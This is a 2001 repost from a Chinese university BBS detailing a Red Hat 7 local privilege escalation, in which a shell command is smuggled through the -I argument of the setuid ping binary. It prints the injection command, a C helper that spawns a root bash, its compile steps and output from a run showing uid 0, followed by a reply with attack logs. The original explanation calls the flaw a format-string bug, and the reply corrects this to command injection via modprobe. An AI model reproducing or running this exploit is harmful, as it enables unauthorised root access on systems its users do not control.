荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jinni (爱你到永远), 信区: Linux
标  题: 【转载】redhat7本地利用ping拿root漏洞详析
发信站: BBS 荔园晨风站 (Thu Mar  1 21:52:51 2001), 转信

redhat7本地利用ping拿root漏洞详析
作者:大鹰
<suneagle@patching.net>
首先声明,我不公布攻击程序的原代码,虽然网上已经有了,但我不公布出来是我
不会为此负责。知道了
这个漏洞的原理相信大家自己可以写出攻击代码,我贴一些关键代码以供分析。代
码不长,可以用shell或
perl来编写,推荐用shell写(shell的重要性不在累述)。
原理:
也许是redhat7的重大漏洞吧,他的ping程序的-I参数允许利用格式化字符串来执
行任意代码,大家都知道
ping程序的权位是这样的:
[Hello!sune4gle]$ ls -l /bin/ping
-rwsr-xr-x  1 root   root    20604 Aug 8 2000 /bin/ping
具有s权位,所以我们就有大文章可做了,呵呵,我们可以通过用ping的-I参数来
ping一个不存在的ip,当
然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来
运行ping时的euid为0,
所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果
我们运行如下的命令的
话:
[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null
就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进
程等待,利用等待的时间
我们可以写一个c程序,让他编译并且运行:
cat >/x.c <<_eof_
main() {
 setuid(0); seteuid(0);
 system("chmod 755 /;rm -f /x; rm -f /x.c");
 execl("/bin/bash","bash","-i",0);
}
_eof_
gcc /x.c -o /x
chmod 755 /x
到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权
位,呵呵就使一个setuid
的rootshell啦,哈哈,好,我把我这个shell在redhat7下的运行测试结果贴出来:
首先我得有个普通帐户,嘿嘿
[Hello!sune4gle]$ ./getroot.sh
RedHat 7.0 exploit
(c) 2000 suneagle <suneagle@patching.net>
Enjoy hacking!
Phase 1: making / world-writable...
Phase 2: compiling helper program in /...
Phase 3: chown+chmod on our helper program...
Ye! Entering rootshell...
[Hello!root]# id
uid=0(root) gid=500(sune4gle) groups=500(sune4gle)
[Hello!root]#
补充:
(ping 要调用raw_socket 所有有s位
-I 是指定interface
这里的问题应该不是格式化字符串的漏洞吧

是在指定interface的时候用到了modprobe和insmod

Feb 24 11:16:27 ssq modprobe: modprobe: insmod ;chmod o+w . failed
Feb 24 11:16:30 ssq modprobe: modprobe: insmod ;chown 0 x failed
Feb 24 11:16:31 ssq modprobe: modprobe: insmod ;chmod +s x failed
这是攻击后的log)


--
╗╠⊙ ┌──╨─╨╮║╔╩╦┌╨───╨──╮╠╝╭╮║╠╗
╬╝╠═╡有事就找我╞╬╝ ╠╡希望我能帮到你╞¤═╡╞╬╝█═
 ╔╣ ╰─╥───┘╚◎═╝╰──╥───╥┘╠⊙╰╯╚╗╚╦

※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.165]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店